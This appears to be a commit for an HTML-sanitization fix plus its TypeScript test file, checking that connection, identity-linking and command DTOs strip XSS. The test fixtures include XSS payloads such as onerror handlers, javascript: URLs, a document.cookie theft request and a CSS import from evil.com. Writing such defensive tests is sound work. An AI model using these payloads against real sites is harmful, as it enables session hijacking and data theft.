Security improvements: - Create sanitization utility using sanitize-html library - Add @Sanitize() and @SanitizeObject() decorators for DTOs - Apply sanitization to vulnerable fields: - Connection rejection/disconnection reasons - Connection metadata - Identity linking metadata - Command payloads - Remove script tags, event handlers, javascript: URLs - Prevent data exfiltration, CSS-based XSS, SVG-based XSS Changes: - Add sanitize.util.ts with recursive sanitization functions - Add sanitize.decorator.ts for class-transformer integration - Update connection.dto.ts with sanitization decorators - Update identity-linking.dto.ts with sanitization decorators - Update command.dto.ts with sanitization decorators - Add comprehensive test coverage including attack vectors Part of M7.1 Remediation Sprint P1 security fixes. Fixes #285 Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
226 lines
6.9 KiB
TypeScript
226 lines
6.9 KiB
TypeScript
/**
|
|
* DTO Sanitization Integration Tests
|
|
*
|
|
* Tests that DTOs properly sanitize XSS attempts.
|
|
*/
|
|
|
|
import { describe, it, expect } from "vitest";
|
|
import { plainToInstance } from "class-transformer";
|
|
import { validate } from "class-validator";
|
|
import {
|
|
RejectConnectionDto,
|
|
DisconnectConnectionDto,
|
|
AcceptConnectionDto,
|
|
} from "./connection.dto";
|
|
import { CreateIdentityMappingDto, UpdateIdentityMappingDto } from "./identity-linking.dto";
|
|
import { SendCommandDto, IncomingCommandDto } from "./command.dto";
|
|
|
|
describe("DTO Sanitization Integration", () => {
|
|
describe("Connection DTOs", () => {
|
|
it("should sanitize rejection reason", async () => {
|
|
const dirty = {
|
|
reason: '<script>alert("XSS")</script>Connection rejected',
|
|
};
|
|
|
|
const dto = plainToInstance(RejectConnectionDto, dirty);
|
|
const errors = await validate(dto);
|
|
|
|
expect(errors).toHaveLength(0);
|
|
expect(dto.reason).not.toContain("<script>");
|
|
expect(dto.reason).toContain("Connection rejected");
|
|
});
|
|
|
|
it("should sanitize disconnection reason", async () => {
|
|
const dirty = {
|
|
reason: '<img src=x onerror="alert(1)">Goodbye',
|
|
};
|
|
|
|
const dto = plainToInstance(DisconnectConnectionDto, dirty);
|
|
const errors = await validate(dto);
|
|
|
|
expect(errors).toHaveLength(0);
|
|
expect(dto.reason).not.toContain("onerror");
|
|
expect(dto.reason).toContain("Goodbye");
|
|
});
|
|
|
|
it("should sanitize acceptance metadata", async () => {
|
|
const dirty = {
|
|
metadata: {
|
|
note: "<script>alert(1)</script>Important",
|
|
nested: {
|
|
value: "<img src=x onerror=\"fetch('/steal')\">",
|
|
},
|
|
},
|
|
};
|
|
|
|
const dto = plainToInstance(AcceptConnectionDto, dirty);
|
|
const errors = await validate(dto);
|
|
|
|
expect(errors).toHaveLength(0);
|
|
expect(dto.metadata!.note).not.toContain("<script>");
|
|
expect(dto.metadata!.note).toContain("Important");
|
|
expect((dto.metadata!.nested as any).value).not.toContain("onerror");
|
|
});
|
|
});
|
|
|
|
describe("Identity Linking DTOs", () => {
|
|
it("should sanitize identity mapping metadata", async () => {
|
|
const dirty = {
|
|
remoteInstanceId: "instance-123",
|
|
remoteUserId: "user-456",
|
|
oidcSubject: "sub-789",
|
|
email: "test@example.com",
|
|
metadata: {
|
|
displayName: '<script>alert("XSS")</script>John Doe',
|
|
bio: '<img src=x onerror="alert(1)">Developer',
|
|
},
|
|
};
|
|
|
|
const dto = plainToInstance(CreateIdentityMappingDto, dirty);
|
|
const errors = await validate(dto);
|
|
|
|
expect(errors).toHaveLength(0);
|
|
expect(dto.metadata!.displayName).not.toContain("<script>");
|
|
expect(dto.metadata!.displayName).toContain("John Doe");
|
|
expect(dto.metadata!.bio).not.toContain("onerror");
|
|
});
|
|
|
|
it("should sanitize update metadata", async () => {
|
|
const dirty = {
|
|
metadata: {
|
|
tags: ["<script>tag1</script>", "<b>tag2</b>"],
|
|
},
|
|
};
|
|
|
|
const dto = plainToInstance(UpdateIdentityMappingDto, dirty);
|
|
const errors = await validate(dto);
|
|
|
|
expect(errors).toHaveLength(0);
|
|
expect((dto.metadata!.tags as any)[0]).not.toContain("<script>");
|
|
expect((dto.metadata!.tags as any)[1]).toContain("<b>");
|
|
});
|
|
});
|
|
|
|
describe("Command DTOs", () => {
|
|
it("should sanitize command payload", async () => {
|
|
const dirty = {
|
|
connectionId: "conn-123",
|
|
commandType: "execute",
|
|
payload: {
|
|
script: '<script>alert("XSS")</script>console.log("hello")',
|
|
params: {
|
|
arg1: '<img src=x onerror="alert(1)">',
|
|
},
|
|
},
|
|
};
|
|
|
|
const dto = plainToInstance(SendCommandDto, dirty);
|
|
const errors = await validate(dto);
|
|
|
|
expect(errors).toHaveLength(0);
|
|
expect(dto.payload.script).not.toContain("<script>");
|
|
expect((dto.payload.params as any).arg1).not.toContain("onerror");
|
|
});
|
|
|
|
it("should sanitize incoming command payload", async () => {
|
|
const dirty = {
|
|
messageId: "msg-123",
|
|
instanceId: "instance-456",
|
|
commandType: "update",
|
|
payload: {
|
|
data: '<style>body{background:url("javascript:alert(1)")}</style>Data',
|
|
metadata: {
|
|
author: "<script>alert(1)</script>Admin",
|
|
},
|
|
},
|
|
timestamp: Date.now(),
|
|
signature: "sig-789",
|
|
};
|
|
|
|
const dto = plainToInstance(IncomingCommandDto, dirty);
|
|
const errors = await validate(dto);
|
|
|
|
expect(errors).toHaveLength(0);
|
|
expect(dto.payload.data).not.toContain("<style>");
|
|
expect(dto.payload.data).not.toContain("javascript:");
|
|
expect((dto.payload.metadata as any).author).not.toContain("<script>");
|
|
});
|
|
|
|
it("should handle deeply nested XSS attempts", async () => {
|
|
const dirty = {
|
|
connectionId: "conn-123",
|
|
commandType: "complex",
|
|
payload: {
|
|
level1: {
|
|
level2: {
|
|
level3: {
|
|
xss: "<script>alert(1)</script>",
|
|
array: ['<img src=x onerror="alert(2)">', "safe"],
|
|
},
|
|
},
|
|
},
|
|
},
|
|
};
|
|
|
|
const dto = plainToInstance(SendCommandDto, dirty);
|
|
const errors = await validate(dto);
|
|
|
|
expect(errors).toHaveLength(0);
|
|
const level3 = (dto.payload.level1 as any).level2.level3;
|
|
expect(level3.xss).not.toContain("<script>");
|
|
expect(level3.array[0]).not.toContain("onerror");
|
|
expect(level3.array[1]).toBe("safe");
|
|
});
|
|
});
|
|
|
|
describe("XSS Attack Vectors", () => {
|
|
it("should prevent javascript: URL injection", async () => {
|
|
const dirty = {
|
|
metadata: {
|
|
link: '<a href="javascript:alert(1)">Click</a>',
|
|
},
|
|
};
|
|
|
|
const dto = plainToInstance(AcceptConnectionDto, dirty);
|
|
|
|
expect(dto.metadata!.link).not.toContain("javascript:");
|
|
});
|
|
|
|
it("should prevent data exfiltration attempts", async () => {
|
|
const dirty = {
|
|
reason: "<img src=x onerror=\"fetch('/api/steal?cookie='+document.cookie)\">",
|
|
};
|
|
|
|
const dto = plainToInstance(RejectConnectionDto, dirty);
|
|
|
|
expect(dto.reason).not.toContain("onerror");
|
|
expect(dto.reason).not.toContain("fetch");
|
|
expect(dto.reason).not.toContain("document.cookie");
|
|
});
|
|
|
|
it("should prevent CSS-based XSS", async () => {
|
|
const dirty = {
|
|
metadata: {
|
|
style: '<style>@import "http://evil.com/steal.css";</style>',
|
|
},
|
|
};
|
|
|
|
const dto = plainToInstance(AcceptConnectionDto, dirty);
|
|
|
|
expect(dto.metadata!.style).not.toContain("<style>");
|
|
expect(dto.metadata!.style).not.toContain("@import");
|
|
});
|
|
|
|
it("should prevent SVG-based XSS", async () => {
|
|
const dirty = {
|
|
reason: '<svg onload="alert(1)">Test</svg>',
|
|
};
|
|
|
|
const dto = plainToInstance(RejectConnectionDto, dirty);
|
|
|
|
expect(dto.reason).not.toContain("<svg");
|
|
expect(dto.reason).not.toContain("onload");
|
|
});
|
|
});
|
|
});
|